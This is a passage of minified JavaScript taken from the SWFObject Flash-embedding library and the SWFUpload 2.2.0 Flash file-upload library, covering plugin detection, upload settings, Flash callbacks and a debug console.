ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0;}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");
if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)];}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac};
}(),k=function(){if(!M.w3){return;}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f();
}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false);}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);
f();}});if(O==top){(function(){if(J){return;}try{j.documentElement.doScroll("left");}catch(X){setTimeout(arguments.callee,0);return;}f();})();}}if(M.wk){(function(){if(J){return;
}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return;}f();})();}s(f);}}();function f(){if(J){return;}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));
Z.parentNode.removeChild(Z);}catch(aa){return;}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]();}}function K(X){if(J){X();}else{U[U.length]=X;}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false);
}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false);}else{if(typeof O.attachEvent!=D){i(O,"onload",Y);}else{if(typeof O.onload=="function"){var X=O.onload;
O.onload=function(){X();Y();};}else{O.onload=Y;}}}}}function h(){if(T){V();}else{H();}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);
aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");
M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)];}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return;}}X.removeChild(aa);Z=null;H();
})();}else{H();}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);
if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa);}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;
ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class");}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align");
}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value");
}}P(ai,ah,Y,ab);}else{p(ae);if(ab){ab(aa);}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z;}ab(aa);}}}}}function z(aa){var X=null;
var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y;}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z;}}}return X;}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312);
}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null;}else{l=ae;Q=X;}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310";
}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137";}j.title=j.title.slice(0,47)+" - Flash Player Installation";
var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac;
}else{ab.flashvars=ac;}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";
(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae);}else{setTimeout(arguments.callee,10);}})();}u(aa,ab,X);}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");
Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y);}else{setTimeout(arguments.callee,10);
}})();}else{Y.parentNode.replaceChild(g(Y),Y);}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML;}else{var Y=ab.getElementsByTagName(r)[0];
if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true));
}}}}}return aa;}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X;}if(aa){if(typeof ai.id==D){ai.id=Y;}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae];
}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"';}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"';}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />';
}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id);}else{var Z=C(r);Z.setAttribute("type",q);
for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac]);}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac]);
}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab]);}}aa.parentNode.replaceChild(Z,aa);X=Z;}}return X;}function e(Z,X,Y){var aa=C("param");
aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa);}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";
(function(){if(X.readyState==4){b(Y);}else{setTimeout(arguments.callee,10);}})();}else{X.parentNode.removeChild(X);}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null;
}}Y.parentNode.removeChild(Y);}}function c(Z){var X=null;try{X=j.getElementById(Z);}catch(Y){}return X;}function C(X){return j.createElement(X);}function i(Z,X,Y){Z.attachEvent(X,Y);
I[I.length]=[Z,X,Y];}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false;
}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return;}var aa=j.getElementsByTagName("head")[0];if(!aa){return;}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;
G=null;}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1];
}G=X;}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y);}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"));
}}}function w(Z,X){if(!m){return;}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y;}else{v("#"+Z,"visibility:"+Y);}}function L(Y){var Z=/[\\\"<>\.;]/;
var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y;}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;
for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2]);}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa]);}for(var Y in M){M[Y]=null;}M=null;for(var X in swfobject){swfobject[X]=null;
}swfobject=null;});}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;
w(ab,false);}else{if(Z){Z({success:false,id:ab});}}},getObjectById:function(X){if(M.w3){return z(X);}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};
if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al];}}aj.data=ab;
aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak];}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai];
}else{am.flashvars=ai+"="+Z[ai];}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true);}X.success=true;X.ref=an;}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);
return;}else{w(ah,true);}}if(ac){ac(X);}});}else{if(ac){ac(X);}}},switchOffAutoHideShow:function(){m=false;},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]};
},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X);}else{return undefined;}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y);
}},removeSWF:function(X){if(M.w3){y(X);}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X);}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;
if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1];}if(aa==null){return L(Z);}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)));
}}}return"";},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block";
}}if(E){E(B);}}a=false;}}};}();
/*
SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/, http://www.vinterwebb.se/
SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License:
http://www.opensource.org/licenses/mit-license.php
SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
http://www.opensource.org/licenses/mit-license.php
*/
var SWFUpload;if(SWFUpload==undefined){SWFUpload=function(a){this.initSWFUpload(a)}}SWFUpload.prototype.initSWFUpload=function(b){try{this.customSettings={};this.settings=b;this.eventQueue=[];this.movieName="SWFUpload_"+SWFUpload.movieCount++;this.movieElement=null;SWFUpload.instances[this.movieName]=this;this.initSettings();this.loadFlash();this.displayDebugInfo()}catch(a){delete SWFUpload.instances[this.movieName];throw a}};SWFUpload.instances={};SWFUpload.movieCount=0;SWFUpload.version="2.2.0 2009-03-25";SWFUpload.QUEUE_ERROR={QUEUE_LIMIT_EXCEEDED:-100,FILE_EXCEEDS_SIZE_LIMIT:-110,ZERO_BYTE_FILE:-120,INVALID_FILETYPE:-130};SWFUpload.UPLOAD_ERROR={HTTP_ERROR:-200,MISSING_UPLOAD_URL:-210,IO_ERROR:-220,SECURITY_ERROR:-230,UPLOAD_LIMIT_EXCEEDED:-240,UPLOAD_FAILED:-250,SPECIFIED_FILE_ID_NOT_FOUND:-260,FILE_VALIDATION_FAILED:-270,FILE_CANCELLED:-280,UPLOAD_STOPPED:-290};SWFUpload.FILE_STATUS={QUEUED:-1,IN_PROGRESS:-2,ERROR:-3,COMPLETE:-4,CANCELLED:-5};SWFUpload.BUTTON_ACTION={SELECT_FILE:-100,SELECT_FILES:-110,START_UPLOAD:-120};SWFUpload.CURSOR={ARROW:-1,HAND:-2};SWFUpload.WINDOW_MODE={WINDOW:"window",TRANSPARENT:"transparent",OPAQUE:"opaque"};SWFUpload.completeURL=function(a){if(typeof(a)!=="string"||a.match(/^https?:\/\//i)||a.match(/^\//)){return a}var c=window.location.protocol+"//"+window.location.hostname+(window.location.port?":"+window.location.port:"");var b=window.location.pathname.lastIndexOf("/");if(b<=0){path="/"}else{path=window.location.pathname.substr(0,b)+"/"}return path+a};SWFUpload.prototype.initSettings=function(){this.ensureDefault=function(b,a){this.settings[b]=(this.settings[b]==undefined)?a:this.settings[b]};this.ensureDefault("upload_url","");this.ensureDefault("preserve_relative_urls",false);this.ensureDefault("file_post_name","Filedata");this.ensureDefault("post_params",{});this.ensureDefault("use_query_string",false);this.ensureDefault("requeue_on_error",false);this.ensureDefault("http_success",[]);this.ensureDefault("assume_success_timeout",0);this.ensureDefault("file_types","*.*");this.ensureDefault("file_types_description","All Files");this.ensureDefault("file_size_limit",0);this.ensureDefault("file_upload_limit",0);this.ensureDefault("file_queue_limit",0);this.ensureDefault("flash_url","swfupload.swf");this.ensureDefault("prevent_swf_caching",true);this.ensureDefault("button_image_url","");this.ensureDefault("button_width",1);this.ensureDefault("button_height",1);this.ensureDefault("button_text","");this.ensureDefault("button_text_style","color: #000000; font-size: 16pt;");this.ensureDefault("button_text_top_padding",0);this.ensureDefault("button_text_left_padding",0);this.ensureDefault("button_action",SWFUpload.BUTTON_ACTION.SELECT_FILES);this.ensureDefault("button_disabled",false);this.ensureDefault("button_placeholder_id","");this.ensureDefault("button_placeholder",null);this.ensureDefault("button_cursor",SWFUpload.CURSOR.ARROW);this.ensureDefault("button_window_mode",SWFUpload.WINDOW_MODE.WINDOW);this.ensureDefault("debug",false);this.settings.debug_enabled=this.settings.debug;this.settings.return_upload_start_handler=this.returnUploadStart;this.ensureDefault("swfupload_loaded_handler",null);this.ensureDefault("file_dialog_start_handler",null);this.ensureDefault("file_queued_handler",null);this.ensureDefault("file_queue_error_handler",null);this.ensureDefault("file_dialog_complete_handler",null);this.ensureDefault("upload_start_handler",null);this.ensureDefault("upload_progress_handler",null);this.ensureDefault("upload_error_handler",null);this.ensureDefault("upload_success_handler",null);this.ensureDefault("upload_complete_handler",null);this.ensureDefault("debug_handler",this.debugMessage);this.ensureDefault("custom_settings",{});this.customSettings=this.settings.custom_settings;if(!!this.settings.prevent_swf_caching){this.settings.flash_url=this.settings.flash_url+(this.settings.flash_url.indexOf("?")<0?"?":"&")+"preventswfcaching="+new Date().getTime()}if(!this.settings.preserve_relative_urls){this.settings.upload_url=SWFUpload.completeURL(this.settings.upload_url);this.settings.button_image_url=SWFUpload.completeURL(this.settings.button_image_url)}delete this.ensureDefault};SWFUpload.prototype.loadFlash=function(){var a,b;if(document.getElementById(this.movieName)!==null){throw"ID "+this.movieName+" is already in use. The Flash Object could not be added"}a=document.getElementById(this.settings.button_placeholder_id)||this.settings.button_placeholder;if(a==undefined){throw"Could not find the placeholder element: "+this.settings.button_placeholder_id}b=document.createElement("div");b.innerHTML=this.getFlashHTML();a.parentNode.replaceChild(b.firstChild,a);if(window[this.movieName]==undefined){window[this.movieName]=this.getMovieElement()}};SWFUpload.prototype.getFlashHTML=function(){return['<object id="',this.movieName,'" type="application/x-shockwave-flash" data="',this.settings.flash_url,'" width="',this.settings.button_width,'" height="',this.settings.button_height,'" class="swfupload">','<param name="wmode" value="',this.settings.button_window_mode,'" />','<param name="movie" value="',this.settings.flash_url,'" />','<param name="quality" value="high" />','<param name="menu" value="false" />','<param name="allowScriptAccess" value="always" />','<param name="flashvars" value="'+this.getFlashVars()+'" />',"</object>"].join("")};SWFUpload.prototype.getFlashVars=function(){var b=this.buildParamString();var a=this.settings.http_success.join(",");return["movieName=",encodeURIComponent(this.movieName),"&uploadURL=",encodeURIComponent(this.settings.upload_url),"&useQueryString=",encodeURIComponent(this.settings.use_query_string),"&requeueOnError=",encodeURIComponent(this.settings.requeue_on_error),"&httpSuccess=",encodeURIComponent(a),"&assumeSuccessTimeout=",encodeURIComponent(this.settings.assume_success_timeout),"&params=",encodeURIComponent(b),"&filePostName=",encodeURIComponent(this.settings.file_post_name),"&fileTypes=",encodeURIComponent(this.settings.file_types),"&fileTypesDescription=",encodeURIComponent(this.settings.file_types_description),"&fileSizeLimit=",encodeURIComponent(this.settings.file_size_limit),"&fileUploadLimit=",encodeURIComponent(this.settings.file_upload_limit),"&fileQueueLimit=",encodeURIComponent(this.settings.file_queue_limit),"&debugEnabled=",encodeURIComponent(this.settings.debug_enabled),"&buttonImageURL=",encodeURIComponent(this.settings.button_image_url),"&buttonWidth=",encodeURIComponent(this.settings.button_width),"&buttonHeight=",encodeURIComponent(this.settings.button_height),"&buttonText=",encodeURIComponent(this.settings.button_text),"&buttonTextTopPadding=",encodeURIComponent(this.settings.button_text_top_padding),"&buttonTextLeftPadding=",encodeURIComponent(this.settings.button_text_left_padding),"&buttonTextStyle=",encodeURIComponent(this.settings.button_text_style),"&buttonAction=",encodeURIComponent(this.settings.button_action),"&buttonDisabled=",encodeURIComponent(this.settings.button_disabled),"&buttonCursor=",encodeURIComponent(this.settings.button_cursor)].join("")};SWFUpload.prototype.getMovieElement=function(){if(this.movieElement==undefined){this.movieElement=document.getElementById(this.movieName)}if(this.movieElement===null){throw"Could not find Flash element"}return this.movieElement};SWFUpload.prototype.buildParamString=function(){var c=this.settings.post_params;var b=[];if(typeof(c)==="object"){for(var a in c){if(c.hasOwnProperty(a)){b.push(encodeURIComponent(a.toString())+"="+encodeURIComponent(c[a].toString()))}}}return b.join("&")};SWFUpload.prototype.destroy=function(){try{this.cancelUpload(null,false);var a=null;a=this.getMovieElement();if(a&&typeof(a.CallFunction)==="unknown"){for(var c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(e){}}try{a.parentNode.removeChild(a)}catch(b){}}window[this.movieName]=null;SWFUpload.instances[this.movieName]=null;delete SWFUpload.instances[this.movieName];this.movieElement=null;this.settings=null;this.customSettings=null;this.eventQueue=null;this.movieName=null;return true}catch(d){return false}};SWFUpload.prototype.displayDebugInfo=function(){this.debug(["---SWFUpload Instance Info---\n","Version: ",SWFUpload.version,"\n","Movie Name: ",this.movieName,"\n","Settings:\n","\t","upload_url: ",this.settings.upload_url,"\n","\t","flash_url: ",this.settings.flash_url,"\n","\t","use_query_string: ",this.settings.use_query_string.toString(),"\n","\t","requeue_on_error: ",this.settings.requeue_on_error.toString(),"\n","\t","http_success: ",this.settings.http_success.join(", "),"\n","\t","assume_success_timeout: ",this.settings.assume_success_timeout,"\n","\t","file_post_name: ",this.settings.file_post_name,"\n","\t","post_params: ",this.settings.post_params.toString(),"\n","\t","file_types: ",this.settings.file_types,"\n","\t","file_types_description: ",this.settings.file_types_description,"\n","\t","file_size_limit: ",this.settings.file_size_limit,"\n","\t","file_upload_limit: ",this.settings.file_upload_limit,"\n","\t","file_queue_limit: ",this.settings.file_queue_limit,"\n","\t","debug: ",this.settings.debug.toString(),"\n","\t","prevent_swf_caching: ",this.settings.prevent_swf_caching.toString(),"\n","\t","button_placeholder_id: ",this.settings.button_placeholder_id.toString(),"\n","\t","button_placeholder: ",(this.settings.button_placeholder?"Set":"Not Set"),"\n","\t","button_image_url: ",this.settings.button_image_url.toString(),"\n","\t","button_width: ",this.settings.button_width.toString(),"\n","\t","button_height: ",this.settings.button_height.toString(),"\n","\t","button_text: ",this.settings.button_text.toString(),"\n","\t","button_text_style: ",this.settings.button_text_style.toString(),"\n","\t","button_text_top_padding: ",this.settings.button_text_top_padding.toString(),"\n","\t","button_text_left_padding: ",this.settings.button_text_left_padding.toString(),"\n","\t","button_action: ",this.settings.button_action.toString(),"\n","\t","button_disabled: ",this.settings.button_disabled.toString(),"\n","\t","custom_settings: ",this.settings.custom_settings.toString(),"\n","Event Handlers:\n","\t","swfupload_loaded_handler assigned: ",(typeof this.settings.swfupload_loaded_handler==="function").toString(),"\n","\t","file_dialog_start_handler assigned: ",(typeof this.settings.file_dialog_start_handler==="function").toString(),"\n","\t","file_queued_handler assigned: ",(typeof this.settings.file_queued_handler==="function").toString(),"\n","\t","file_queue_error_handler assigned: ",(typeof this.settings.file_queue_error_handler==="function").toString(),"\n","\t","upload_start_handler assigned: ",(typeof this.settings.upload_start_handler==="function").toString(),"\n","\t","upload_progress_handler assigned: ",(typeof this.settings.upload_progress_handler==="function").toString(),"\n","\t","upload_error_handler assigned: ",(typeof this.settings.upload_error_handler==="function").toString(),"\n","\t","upload_success_handler assigned: ",(typeof this.settings.upload_success_handler==="function").toString(),"\n","\t","upload_complete_handler assigned: ",(typeof this.settings.upload_complete_handler==="function").toString(),"\n","\t","debug_handler assigned: ",(typeof this.settings.debug_handler==="function").toString(),"\n"].join(""))};SWFUpload.prototype.addSetting=function(b,c,a){if(c==undefined){return(this.settings[b]=a)}else{return(this.settings[b]=c)}};SWFUpload.prototype.getSetting=function(a){if(this.settings[a]!=undefined){return this.settings[a]}return""};SWFUpload.prototype.callFlash=function(functionName,argumentArray){argumentArray=argumentArray||[];var movieElement=this.getMovieElement();var returnValue,returnString;try{returnString=movieElement.CallFunction('<invoke name="'+functionName+'" returntype="javascript">'+__flash__argumentsToXML(argumentArray,0)+"</invoke>");returnValue=eval(returnString)}catch(ex){throw"Call to "+functionName+" failed"}if(returnValue!=undefined&&typeof returnValue.post==="object"){returnValue=this.unescapeFilePostParams(returnValue)}return returnValue};SWFUpload.prototype.selectFile=function(){this.callFlash("SelectFile")};SWFUpload.prototype.selectFiles=function(){this.callFlash("SelectFiles")};SWFUpload.prototype.startUpload=function(a){this.callFlash("StartUpload",[a])};SWFUpload.prototype.cancelUpload=function(a,b){if(b!==false){b=true}this.callFlash("CancelUpload",[a,b])};SWFUpload.prototype.stopUpload=function(){this.callFlash("StopUpload")};SWFUpload.prototype.getStats=function(){return this.callFlash("GetStats")};SWFUpload.prototype.setStats=function(a){this.callFlash("SetStats",[a])};SWFUpload.prototype.getFile=function(a){if(typeof(a)==="number"){return this.callFlash("GetFileByIndex",[a])}else{return this.callFlash("GetFile",[a])}};SWFUpload.prototype.addFileParam=function(a,b,c){return this.callFlash("AddFileParam",[a,b,c])};SWFUpload.prototype.removeFileParam=function(a,b){this.callFlash("RemoveFileParam",[a,b])};SWFUpload.prototype.setUploadURL=function(a){this.settings.upload_url=a.toString();this.callFlash("SetUploadURL",[a])};SWFUpload.prototype.setPostParams=function(a){this.settings.post_params=a;this.callFlash("SetPostParams",[a])};SWFUpload.prototype.addPostParam=function(a,b){this.settings.post_params[a]=b;this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.removePostParam=function(a){delete this.settings.post_params[a];this.callFlash("SetPostParams",[this.settings.post_params])};SWFUpload.prototype.setFileTypes=function(a,b){this.settings.file_types=a;this.settings.file_types_description=b;this.callFlash("SetFileTypes",[a,b])};SWFUpload.prototype.setFileSizeLimit=function(a){this.settings.file_size_limit=a;this.callFlash("SetFileSizeLimit",[a])};SWFUpload.prototype.setFileUploadLimit=function(a){this.settings.file_upload_limit=a;this.callFlash("SetFileUploadLimit",[a])};SWFUpload.prototype.setFileQueueLimit=function(a){this.settings.file_queue_limit=a;this.callFlash("SetFileQueueLimit",[a])};SWFUpload.prototype.setFilePostName=function(a){this.settings.file_post_name=a;this.callFlash("SetFilePostName",[a])};SWFUpload.prototype.setUseQueryString=function(a){this.settings.use_query_string=a;this.callFlash("SetUseQueryString",[a])};SWFUpload.prototype.setRequeueOnError=function(a){this.settings.requeue_on_error=a;this.callFlash("SetRequeueOnError",[a])};SWFUpload.prototype.setHTTPSuccess=function(a){if(typeof a==="string"){a=a.replace(" ","").split(",")}this.settings.http_success=a;this.callFlash("SetHTTPSuccess",[a])};SWFUpload.prototype.setAssumeSuccessTimeout=function(a){this.settings.assume_success_timeout=a;this.callFlash("SetAssumeSuccessTimeout",[a])};SWFUpload.prototype.setDebugEnabled=function(a){this.settings.debug_enabled=a;this.callFlash("SetDebugEnabled",[a])};SWFUpload.prototype.setButtonImageURL=function(a){if(a==undefined){a=""}this.settings.button_image_url=a;this.callFlash("SetButtonImageURL",[a])};SWFUpload.prototype.setButtonDimensions=function(c,a){this.settings.button_width=c;this.settings.button_height=a;var b=this.getMovieElement();if(b!=undefined){b.style.width=c+"px";b.style.height=a+"px"}this.callFlash("SetButtonDimensions",[c,a])};SWFUpload.prototype.setButtonText=function(a){this.settings.button_text=a;this.callFlash("SetButtonText",[a])};SWFUpload.prototype.setButtonTextPadding=function(b,a){this.settings.button_text_top_padding=a;this.settings.button_text_left_padding=b;this.callFlash("SetButtonTextPadding",[b,a])};SWFUpload.prototype.setButtonTextStyle=function(a){this.settings.button_text_style=a;this.callFlash("SetButtonTextStyle",[a])};SWFUpload.prototype.setButtonDisabled=function(a){this.settings.button_disabled=a;this.callFlash("SetButtonDisabled",[a])};SWFUpload.prototype.setButtonAction=function(a){this.settings.button_action=a;this.callFlash("SetButtonAction",[a])};SWFUpload.prototype.setButtonCursor=function(a){this.settings.button_cursor=a;this.callFlash("SetButtonCursor",[a])};SWFUpload.prototype.queueEvent=function(b,c){if(c==undefined){c=[]}else{if(!(c instanceof Array)){c=[c]}}var a=this;if(typeof this.settings[b]==="function"){this.eventQueue.push(function(){this.settings[b].apply(this,c)});setTimeout(function(){a.executeNextEvent()},0)}else{if(this.settings[b]!==null){throw"Event handler "+b+" is unknown or is not a function"}}};SWFUpload.prototype.executeNextEvent=function(){var a=this.eventQueue?this.eventQueue.shift():null;if(typeof(a)==="function"){a.apply(this)}};SWFUpload.prototype.unescapeFilePostParams=function(c){var e=/[$]([0-9a-f]{4})/i;var f={};var d;if(c!=undefined){for(var a in c.post){if(c.post.hasOwnProperty(a)){d=a;var b;while((b=e.exec(d))!==null){d=d.replace(b[0],String.fromCharCode(parseInt("0x"+b[1],16)))}f[d]=c.post[a]}}c.post=f}return c};SWFUpload.prototype.testExternalInterface=function(){try{return this.callFlash("TestExternalInterface")}catch(a){return false}};SWFUpload.prototype.flashReady=function(){var a=this.getMovieElement();if(!a){this.debug("Flash called back ready but the flash movie can't be found.");return}this.cleanUp(a);this.queueEvent("swfupload_loaded_handler")};SWFUpload.prototype.cleanUp=function(a){try{if(this.movieElement&&typeof(a.CallFunction)==="unknown"){this.debug("Removing Flash functions hooks (this should only run in IE and should prevent memory leaks)");for(var c in a){try{if(typeof(a[c])==="function"){a[c]=null}}catch(b){}}}}catch(d){}window.__flash__removeCallback=function(e,f){try{if(e){e[f]=null}}catch(g){}}};SWFUpload.prototype.fileDialogStart=function(){this.queueEvent("file_dialog_start_handler")};SWFUpload.prototype.fileQueued=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("file_queued_handler",a)};SWFUpload.prototype.fileQueueError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("file_queue_error_handler",[a,c,b])};SWFUpload.prototype.fileDialogComplete=function(b,c,a){this.queueEvent("file_dialog_complete_handler",[b,c,a])};SWFUpload.prototype.uploadStart=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("return_upload_start_handler",a)};SWFUpload.prototype.returnUploadStart=function(a){var b;if(typeof this.settings.upload_start_handler==="function"){a=this.unescapeFilePostParams(a);b=this.settings.upload_start_handler.call(this,a)}else{if(this.settings.upload_start_handler!=undefined){throw"upload_start_handler must be a function"}}if(b===undefined){b=true}b=!!b;this.callFlash("ReturnUploadStart",[b])};SWFUpload.prototype.uploadProgress=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_progress_handler",[a,c,b])};SWFUpload.prototype.uploadError=function(a,c,b){a=this.unescapeFilePostParams(a);this.queueEvent("upload_error_handler",[a,c,b])};SWFUpload.prototype.uploadSuccess=function(b,a,c){b=this.unescapeFilePostParams(b);this.queueEvent("upload_success_handler",[b,a,c])};SWFUpload.prototype.uploadComplete=function(a){a=this.unescapeFilePostParams(a);this.queueEvent("upload_complete_handler",a)};SWFUpload.prototype.debug=function(a){this.queueEvent("debug_handler",a)};SWFUpload.prototype.debugMessage=function(c){if(this.settings.debug){var a,d=[];if(typeof c==="object"&&typeof c.name==="string"&&typeof c.message==="string"){for(var b in c){if(c.hasOwnProperty(b)){d.push(b+": "+c[b])}}a=d.join("\n")||"";d=a.split("\n");a="EXCEPTION: "+d.join("\nEXCEPTION: ");SWFUpload.Console.writeLine(a)}else{SWFUpload.Console.writeLine(c)}}};SWFUpload.Console={};SWFUpload.Console.writeLine=function(d){var b,a;try{b=document.getElementById("SWFUpload_Console");if(!b){a=document.createElement("form");document.getElementsByTagName("body")[0].appendChild(a);b=document.createElement("textarea");b.id="SWFUpload_Console";b.style.fontFamily="monospace";b.setAttribute("wrap","off");b.wrap="off";b.style.overflow="auto";b.style.width="700px";b.style.height="350px";b.style.margin="5px";a.appendChild(b)}b.value+=d+"\n";b.scrollTop=b.scrollHeight-b.clientHeight}catch(c){alert("Exception: "+c.name+" Message: "+c.message)}};
/*
